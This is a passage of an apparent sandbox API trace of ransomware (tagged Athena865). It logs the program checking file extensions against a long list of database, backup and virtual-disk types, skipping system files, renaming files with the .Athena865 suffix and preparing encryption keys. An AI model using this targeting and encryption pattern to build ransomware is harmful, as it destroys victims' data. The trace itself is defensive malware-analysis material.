lpString2="fic") returned 1 [0053.153] lstrlenW (lpString="flexolibrary") returned 12 [0053.153] lstrlenW (lpString="fm5") returned 3 [0053.153] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0053.153] lstrlenW (lpString="fmp") returned 3 [0053.153] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0053.153] lstrlenW (lpString="fmp12") returned 5 [0053.153] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1 [0053.153] lstrlenW (lpString="fmpsl") returned 5 [0053.153] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1 [0053.154] lstrlenW (lpString="fol") returned 3 [0053.154] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0053.154] lstrlenW (lpString="fp3") returned 3 [0053.154] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0053.154] lstrlenW (lpString="fp4") returned 3 [0053.154] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0053.154] lstrlenW (lpString="fp5") returned 3 [0053.154] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0053.154] lstrlenW (lpString="fp7") returned 3 [0053.154] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0053.154] lstrlenW (lpString="fpt") returned 3 [0053.154] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0053.154] lstrlenW (lpString="frm") returned 3 [0053.154] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0053.154] lstrlenW (lpString="gdb") returned 3 [0053.154] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0053.154] lstrlenW (lpString="gdb") returned 3 [0053.154] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0053.154] lstrlenW (lpString="grdb") returned 4 [0053.154] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0053.154] lstrlenW (lpString="gwi") returned 3 [0053.154] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0053.154] lstrlenW (lpString="hdb") returned 3 [0053.154] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0053.154] lstrlenW (lpString="his") returned 3 [0053.154] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0053.154] lstrlenW (lpString="ib") returned 2 [0053.154] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0053.154] lstrlenW (lpString="idb") returned 3 [0053.154] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0053.154] lstrlenW (lpString="ihx") returned 3 [0053.154] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0053.154] lstrlenW (lpString="itdb") returned 4 [0053.154] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0053.155] lstrlenW (lpString="itw") returned 3 [0053.155] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0053.155] lstrlenW (lpString="jet") returned 3 [0053.155] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0053.155] lstrlenW (lpString="jtx") returned 3 [0053.155] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0053.155] lstrlenW (lpString="kdb") returned 3 [0053.155] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0053.155] lstrlenW (lpString="kexi") returned 4 [0053.155] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0053.155] lstrlenW (lpString="kexic") returned 5 [0053.155] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1 [0053.155] lstrlenW (lpString="kexis") returned 5 [0053.155] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1 [0053.155] lstrlenW (lpString="lgc") returned 3 [0053.155] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0053.155] lstrlenW (lpString="lwx") returned 3 [0053.155] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0053.155] lstrlenW (lpString="maf") returned 3 [0053.155] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0053.155] lstrlenW (lpString="maq") returned 3 [0053.155] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0053.155] lstrlenW (lpString="mar") returned 3 [0053.155] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0053.155] lstrlenW (lpString="marshal") returned 7 [0053.155] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1 [0053.155] lstrlenW (lpString="mas") returned 3 [0053.155] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0053.157] lstrlenW (lpString="mav") returned 3 [0053.157] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0053.157] lstrlenW (lpString="maw") returned 3 [0053.157] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0053.157] lstrlenW (lpString="mdbhtml") returned 7 [0053.157] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1 [0053.157] lstrlenW (lpString="mdn") returned 3 [0053.157] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0053.157] lstrlenW (lpString="mdt") returned 3 [0053.157] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0053.157] lstrlenW (lpString="mfd") returned 3 [0053.157] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0053.157] lstrlenW (lpString="mpd") returned 3 [0053.157] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0053.157] lstrlenW (lpString="mrg") returned 3 [0053.157] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0053.157] lstrlenW (lpString="mud") returned 3 [0053.157] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0053.157] lstrlenW (lpString="mwb") returned 3 [0053.157] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0053.157] lstrlenW (lpString="myd") returned 3 [0053.157] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0053.157] lstrlenW (lpString="ndf") returned 3 [0053.157] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0053.157] lstrlenW (lpString="nnt") returned 3 [0053.158] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0053.158] lstrlenW (lpString="nrmlib") returned 6 [0053.158] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1 [0053.158] lstrlenW (lpString="ns2") returned 3 [0053.158] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0053.158] lstrlenW (lpString="ns3") returned 3 [0053.158] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0053.158] lstrlenW (lpString="ns4") returned 3 [0053.158] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0053.158] lstrlenW (lpString="nsf") returned 3 [0053.158] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0053.158] lstrlenW (lpString="nv") returned 2 [0053.158] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0053.158] lstrlenW (lpString="nv2") returned 3 [0053.158] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0053.158] lstrlenW (lpString="nwdb") returned 4 [0053.158] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0053.158] lstrlenW (lpString="nyf") returned 3 [0053.158] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0053.158] lstrlenW (lpString="odb") returned 3 [0053.158] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0053.158] lstrlenW (lpString="odb") returned 3 [0053.158] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0053.158] lstrlenW (lpString="oqy") returned 3 [0053.158] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0053.158] lstrlenW (lpString="ora") returned 3 [0053.158] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0053.158] lstrlenW (lpString="orx") returned 3 [0053.158] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0053.158] lstrlenW (lpString="owc") returned 3 [0053.158] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0053.158] lstrlenW (lpString="p96") returned 3 [0053.158] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0053.158] lstrlenW (lpString="p97") returned 3 [0053.159] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0053.159] lstrlenW (lpString="pan") returned 3 [0053.159] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0053.159] lstrlenW (lpString="pdb") returned 3 [0053.159] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0053.159] lstrlenW (lpString="pdm") returned 3 [0053.159] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0053.159] lstrlenW (lpString="pnz") returned 3 [0053.159] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0053.159] lstrlenW (lpString="qry") returned 3 [0053.159] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0053.159] lstrlenW (lpString="qvd") returned 3 [0053.159] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0053.159] lstrlenW (lpString="rbf") returned 3 [0053.159] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0053.159] lstrlenW (lpString="rctd") returned 4 [0053.159] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0053.159] lstrlenW (lpString="rod") returned 3 [0053.159] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0053.159] lstrlenW (lpString="rodx") returned 4 [0053.159] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0053.159] lstrlenW (lpString="rpd") returned 3 [0053.159] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0053.159] lstrlenW (lpString="rsd") returned 3 [0053.159] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0053.159] lstrlenW (lpString="sas7bdat") returned 8 [0053.159] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1 [0053.159] lstrlenW (lpString="sbf") returned 3 [0053.159] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0053.159] lstrlenW (lpString="scx") returned 3 [0053.159] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0053.159] lstrlenW (lpString="sdb") returned 3 [0053.159] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0053.159] lstrlenW (lpString="sdc") returned 3 [0053.159] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0053.159] lstrlenW (lpString="sdf") returned 3 [0053.160] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0053.160] lstrlenW (lpString="sis") returned 3 [0053.160] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0053.160] lstrlenW (lpString="spq") returned 3 [0053.160] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0053.160] lstrlenW (lpString="te") returned 2 [0053.160] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0053.160] lstrlenW (lpString="teacher") returned 7 [0053.160] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1 [0053.160] lstrlenW (lpString="tmd") returned 3 [0053.160] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0053.160] lstrlenW (lpString="tps") returned 3 [0053.160] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0053.160] lstrlenW (lpString="trc") returned 3 [0053.160] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0053.160] lstrlenW (lpString="trc") returned 3 [0053.160] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0053.160] lstrlenW (lpString="trm") returned 3 [0053.160] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0053.160] lstrlenW (lpString="udb") returned 3 [0053.160] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0053.160] lstrlenW (lpString="udl") returned 3 [0053.160] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0053.160] lstrlenW (lpString="usr") returned 3 [0053.160] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0053.160] lstrlenW (lpString="v12") returned 3 [0053.160] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0053.160] lstrlenW (lpString="vis") returned 3 [0053.160] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0053.160] lstrlenW (lpString="vpd") returned 3 [0053.160] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0053.160] lstrlenW (lpString="vvv") returned 3 [0053.160] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0053.160] lstrlenW (lpString="wdb") returned 3 [0053.160] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0053.160] lstrlenW (lpString="wmdb") returned 4 [0053.161] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0053.161] lstrlenW (lpString="wrk") returned 3 [0053.161] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0053.161] lstrlenW (lpString="xdb") returned 3 [0053.161] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0053.161] lstrlenW (lpString="xld") returned 3 [0053.161] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0053.161] lstrlenW (lpString="xmlff") returned 5 [0053.161] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1 [0053.161] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini.Athena865") returned 77 [0053.161] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\searches\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\searches\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0053.161] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\searches\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0053.162] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=524) returned 1 [0053.162] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.162] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0053.162] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0053.162] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0053.163] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.163] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.163] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x510, lpName=0x0) returned 0x154 [0053.163] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x510) returned 0x100000 [0053.164] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0053.164] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.164] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.165] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0053.165] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0053.165] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52aba0 [0053.165] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0053.165] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0053.165] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0053.165] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52aba0 [0053.165] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0053.165] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0053.165] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0053.165] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0053.165] CloseHandle (hObject=0x154) returned 1 [0053.165] CloseHandle (hObject=0x17c) returned 1 [0053.166] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0053.166] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0053.166] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0053.166] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0053.167] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.167] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.167] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2=".") returned 1 [0053.167] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="..") returned 1 [0053.167] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="windows") returned -1 [0053.168] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="bootmgr") returned 1 [0053.168] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="temp") returned -1 [0053.169] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="pagefile.sys") returned -1 [0053.169] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="boot") returned 1 [0053.170] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="ids.txt") returned -1 [0053.170] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="ntuser.dat") returned -1 [0053.170] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="perflogs") returned -1 [0053.170] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2="MSBuild") returned -1 [0053.170] lstrlenW (lpString="Everywhere.search-ms") returned 20 [0053.170] lstrcpyW (in: lpString1=0x241e8b8, lpString2="Everywhere.search-ms" | out: lpString1="Everywhere.search-ms") returned="Everywhere.search-ms" [0053.170] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms", dwFileAttributes=0x22) returned 1 [0053.170] lstrlenW (lpString="Everywhere.search-ms") returned 20 [0053.170] lstrlenW (lpString="Athena865") returned 9 [0053.170] lstrcmpiW (lpString1="search-ms", lpString2="Athena865") returned 1 [0053.170] lstrlenW (lpString=".dll") returned 4 [0053.170] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2=".dll") returned 1 [0053.170] lstrlenW (lpString=".lnk") returned 4 [0053.170] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2=".lnk") returned 1 [0053.170] lstrlenW (lpString=".ini") returned 4 [0053.170] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2=".ini") returned 1 [0053.170] lstrlenW (lpString=".sys") returned 4 [0053.170] lstrcmpiW (lpString1="Everywhere.search-ms", lpString2=".sys") returned 1 [0053.170] lstrlenW (lpString="Everywhere.search-ms") returned 20 [0053.170] lstrlenW (lpString="bak") returned 3 [0053.170] lstrcmpiW (lpString1="-ms", lpString2="bak") returned 1 [0053.170] lstrlenW (lpString="ba_") returned 3 [0053.170] lstrcmpiW (lpString1="-ms", lpString2="ba_") returned 1 [0053.171] lstrlenW (lpString="dbb") returned 3 [0053.171] lstrcmpiW (lpString1="-ms", lpString2="dbb") returned 1 [0053.171] lstrlenW (lpString="vmdk") returned 4 [0053.171] lstrcmpiW (lpString1="h-ms", lpString2="vmdk") returned -1 [0053.171] lstrlenW (lpString="rar") returned 3 [0053.171] lstrcmpiW (lpString1="-ms", lpString2="rar") returned -1 [0053.171] lstrlenW (lpString="zip") returned 3 [0053.171] lstrcmpiW (lpString1="-ms", lpString2="zip") returned -1 [0053.171] lstrlenW (lpString="tgz") returned 3 [0053.171] lstrcmpiW (lpString1="-ms", lpString2="tgz") returned -1 [0053.171] lstrlenW (lpString="vbox") returned 4 [0053.171] lstrcmpiW (lpString1="h-ms", lpString2="vbox") returned -1 [0053.171] lstrlenW (lpString="vdi") returned 3 [0053.171] lstrcmpiW (lpString1="-ms", lpString2="vdi") returned -1 [0053.171] lstrlenW (lpString="vhd") returned 3 [0053.171] lstrcmpiW (lpString1="-ms", lpString2="vhd") returned -1 [0053.171] lstrlenW (lpString="vhdx") returned 4 [0053.171] lstrcmpiW (lpString1="h-ms", lpString2="vhdx") returned -1 [0053.171] lstrlenW (lpString="avhd") returned 4 [0053.171] lstrcmpiW (lpString1="h-ms", lpString2="avhd") returned 1 [0053.171] lstrlenW (lpString="db") returned 2 [0053.171] lstrcmpiW (lpString1="ms", lpString2="db") returned 1 [0053.171] lstrlenW (lpString="db2") returned 3 [0053.171] lstrcmpiW (lpString1="-ms", lpString2="db2") returned 1 [0053.171] lstrlenW (lpString="db3") returned 3 [0053.171] lstrcmpiW (lpString1="-ms", lpString2="db3") returned 1 [0053.171] lstrlenW (lpString="dbf") returned 3 [0053.171] lstrcmpiW (lpString1="-ms", lpString2="dbf") returned 1 [0053.171] lstrlenW (lpString="mdf") returned 3 [0053.171] lstrcmpiW (lpString1="-ms", lpString2="mdf") returned 1 [0053.171] lstrlenW (lpString="mdb") returned 3 [0053.171] lstrcmpiW (lpString1="-ms", lpString2="mdb") returned 1 [0053.171] lstrlenW (lpString="sql") returned 3 [0053.171] lstrcmpiW (lpString1="-ms", lpString2="sql") returned -1 [0053.172] lstrlenW (lpString="sqlite") returned 6 [0053.172] lstrcmpiW (lpString1="rch-ms", lpString2="sqlite") returned -1 [0053.172] lstrlenW (lpString="sqlite3") returned 7 [0053.172] lstrcmpiW (lpString1="arch-ms", lpString2="sqlite3") returned -1 [0053.172] lstrlenW (lpString="sqlitedb") returned 8 [0053.172] lstrcmpiW (lpString1="earch-ms", lpString2="sqlitedb") returned -1 [0053.172] lstrlenW (lpString="xml") returned 3 [0053.172] lstrcmpiW (lpString1="-ms", lpString2="xml") returned -1 [0053.172] lstrlenW (lpString="$er") returned 3 [0053.172] lstrcmpiW (lpString1="-ms", lpString2="$er") returned 1 [0053.172] lstrlenW (lpString="4dd") returned 3 [0053.172] lstrcmpiW (lpString1="-ms", lpString2="4dd") returned 1 [0053.172] lstrlenW (lpString="4dl") returned 3 [0053.172] lstrcmpiW (lpString1="-ms", lpString2="4dl") returned 1 [0053.172] lstrlenW (lpString="^^^") returned 3 [0053.172] lstrcmpiW (lpString1="-ms", lpString2="^^^") returned 1 [0053.172] lstrlenW (lpString="abs") returned 3 [0053.172] lstrcmpiW (lpString1="-ms", lpString2="abs") returned 1 [0053.172] lstrlenW (lpString="abx") returned 3 [0053.172] lstrcmpiW (lpString1="-ms", lpString2="abx") returned 1 [0053.172] lstrlenW (lpString="accdb") returned 5 [0053.172] lstrcmpiW (lpString1="ch-ms", lpString2="accdb") returned 1 [0053.172] lstrlenW (lpString="accdc") returned 5 [0053.172] lstrcmpiW (lpString1="ch-ms", lpString2="accdc") returned 1 [0053.172] lstrlenW (lpString="accde") returned 5 [0053.172] lstrcmpiW (lpString1="ch-ms", lpString2="accde") returned 1 [0053.172] lstrlenW (lpString="accdr") returned 5 [0053.172] lstrcmpiW (lpString1="ch-ms", lpString2="accdr") returned 1 [0053.172] lstrlenW (lpString="accdt") returned 5 [0053.172] lstrcmpiW (lpString1="ch-ms", lpString2="accdt") returned 1 [0053.172] lstrlenW (lpString="accdw") returned 5 [0053.172] lstrcmpiW (lpString1="ch-ms", lpString2="accdw") returned 1 [0053.172] lstrlenW (lpString="accft") returned 5 [0053.172] lstrcmpiW (lpString1="ch-ms", lpString2="accft") returned 1 [0053.172] lstrlenW (lpString="adb") returned 3 [0053.173] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1 [0053.173] lstrlenW (lpString="adb") returned 3 [0053.173] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1 [0053.173] lstrlenW (lpString="ade") returned 3 [0053.173] lstrcmpiW (lpString1="-ms", lpString2="ade") returned 1 [0053.173] lstrlenW (lpString="adf") returned 3 [0053.173] lstrcmpiW (lpString1="-ms", lpString2="adf") returned 1 [0053.173] lstrlenW (lpString="adn") returned 3 [0053.173] lstrcmpiW (lpString1="-ms", lpString2="adn") returned 1 [0053.173] lstrlenW (lpString="adp") returned 3 [0053.173] lstrcmpiW (lpString1="-ms", lpString2="adp") returned 1 [0053.173] lstrlenW (lpString="alf") returned 3 [0053.173] lstrcmpiW (lpString1="-ms", lpString2="alf") returned 1 [0053.173] lstrlenW (lpString="ask") returned 3 [0053.173] lstrcmpiW (lpString1="-ms", lpString2="ask") returned 1 [0053.173] lstrlenW (lpString="btr") returned 3 [0053.173] lstrcmpiW (lpString1="-ms", lpString2="btr") returned 1 [0053.173] lstrlenW (lpString="cat") returned 3 [0053.173] lstrcmpiW (lpString1="-ms", lpString2="cat") returned 1 [0053.173] lstrlenW (lpString="cdb") returned 3 [0053.173] lstrcmpiW (lpString1="-ms", lpString2="cdb") returned 1 [0053.173] lstrlenW (lpString="ckp") returned 3 [0053.173] lstrcmpiW (lpString1="-ms", lpString2="ckp") returned 1 [0053.173] lstrlenW (lpString="cma") returned 3 [0053.173] lstrcmpiW (lpString1="-ms", lpString2="cma") returned 1 [0053.173] lstrlenW (lpString="cpd") returned 3 [0053.173] lstrcmpiW (lpString1="-ms", lpString2="cpd") returned 1 [0053.173] lstrlenW (lpString="dacpac") returned 6 [0053.173] lstrcmpiW (lpString1="rch-ms", lpString2="dacpac") returned 1 [0053.173] lstrlenW (lpString="dad") returned 3 [0053.173] lstrcmpiW (lpString1="-ms", lpString2="dad") returned 1 [0053.173] lstrlenW (lpString="dadiagrams") returned 10 [0053.173] lstrcmpiW (lpString1=".search-ms", lpString2="dadiagrams") returned -1 [0053.173] lstrlenW (lpString="daschema") returned 8 [0053.173] lstrcmpiW (lpString1="earch-ms", lpString2="daschema") returned 1 [0053.173] lstrlenW (lpString="db-journal") returned 10 [0053.174] lstrcmpiW (lpString1=".search-ms", lpString2="db-journal") returned -1 [0053.174] lstrlenW (lpString="db-shm") returned 6 [0053.174] lstrcmpiW (lpString1="rch-ms", lpString2="db-shm") returned 1 [0053.174] lstrlenW (lpString="db-wal") returned 6 [0053.174] lstrcmpiW (lpString1="rch-ms", lpString2="db-wal") returned 1 [0053.174] lstrlenW (lpString="dbc") returned 3 [0053.174] lstrcmpiW (lpString1="-ms", lpString2="dbc") returned 1 [0053.174] lstrlenW (lpString="dbs") returned 3 [0053.174] lstrcmpiW (lpString1="-ms", lpString2="dbs") returned 1 [0053.174] lstrlenW (lpString="dbt") returned 3 [0053.174] lstrcmpiW (lpString1="-ms", lpString2="dbt") returned 1 [0053.174] lstrlenW (lpString="dbv") returned 3 [0053.174] lstrcmpiW (lpString1="-ms", lpString2="dbv") returned 1 [0053.174] lstrlenW (lpString="dbx") returned 3 [0053.174] lstrcmpiW (lpString1="-ms", lpString2="dbx") returned 1 [0053.174] lstrlenW (lpString="dcb") returned 3 [0053.174] lstrcmpiW (lpString1="-ms", lpString2="dcb") returned 1 [0053.174] lstrlenW (lpString="dct") returned 3 [0053.174] lstrcmpiW (lpString1="-ms", lpString2="dct") returned 1 [0053.174] lstrlenW (lpString="dcx") returned 3 [0053.174] lstrcmpiW (lpString1="-ms", lpString2="dcx") returned 1 [0053.174] lstrlenW (lpString="ddl") returned 3 [0053.174] lstrcmpiW (lpString1="-ms", lpString2="ddl") returned 1 [0053.174] lstrlenW (lpString="dlis") returned 4 [0053.174] lstrcmpiW (lpString1="h-ms", lpString2="dlis") returned 1 [0053.174] lstrlenW (lpString="dp1") returned 3 [0053.174] lstrcmpiW (lpString1="-ms", lpString2="dp1") returned 1 [0053.174] lstrlenW (lpString="dqy") returned 3 [0053.174] lstrcmpiW (lpString1="-ms", lpString2="dqy") returned 1 [0053.174] lstrlenW (lpString="dsk") returned 3 [0053.174] lstrcmpiW (lpString1="-ms", 